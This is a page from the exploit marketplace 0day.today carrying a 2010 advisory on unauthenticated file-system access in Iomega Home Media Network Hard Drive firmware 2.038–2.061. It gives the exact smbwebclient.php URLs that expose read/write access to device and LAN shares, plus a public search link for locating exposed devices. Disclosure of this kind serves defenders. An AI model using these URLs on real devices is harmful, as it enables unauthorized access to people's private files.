0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Iomega Home Media Network Hard Drive v.2.038-2.061 File-system Access
[=========================================================================================== Unauthenticated File-system Access in Iomega Home Media Network Hard Drive v. 2.038 - 2.061 =========================================================================================== ----------------------------- Advisory ----------------------------- Unauthenticated File-system Access in iomega Home Media Network Hard Drive ----------------------------- Affected products ----------------------------- iomega Home Media Network Hard Drive Firmware versions 2.038 - 2.061 ----------------------------- Timeline ----------------------------- 04.13.2010 - Discovered, disclosed to Bugtraq. ----------------------------- Disclosure ----------------------------- Full. Not disclosed to vendor due to latest firmware not being vulnerable. ----------------------------- Details ----------------------------- iomega chose to use smbwebclient to allow users of its product to access files shared by the device via their web browser. However, smbwebclient is in an unprotected directory allowing access without authentication. smbwebclient grants the user full browser-based read/write access to any visible shares on the device itself OR the rest of the device's local network (assuming the shares' permissions grant said access). ----------------------------- Exploit ----------------------------- View shares on device: http://[DEVICE IP OR HOSTNAME]/cgi-bin/smbwebclient.php?path=WORKGROUP%2F[DEVICE NAME] (Device name is found in title of webpage on root directory of device) View all shares on device's local network: http://[DEVICE IP OR HOSTNAME]/cgi-bin/smbwebclient.php ----------------------------- Detection ----------------------------- 51 results returned in the following search on ERIPP:http://eripp.com/?ipdb=1&search="Iomega"&sort=time&order=DESC&limit=20&submitbutton=Search If device displays a slideshow on the root (home) page it is generally firmware version 2.063 and is not vulnerable. # 0day.today [2024-11-16] #